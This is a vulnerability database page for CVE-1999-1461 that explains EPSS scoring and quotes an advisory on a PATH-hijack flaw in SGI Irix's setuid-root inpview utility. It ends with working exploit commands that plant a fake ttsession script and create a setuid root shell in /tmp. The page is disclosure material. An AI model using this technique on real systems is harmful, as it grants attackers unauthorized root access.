CVE-1999-1461 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/381/info The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. % cat > /tmp/ttsession #!/bin/sh cp /bin/sh /tmp/rootshell chmod 4755 /tmp/rootshell ^D % chmod 755 /tmp/ttsession % inpview& % /tmp/rootshell #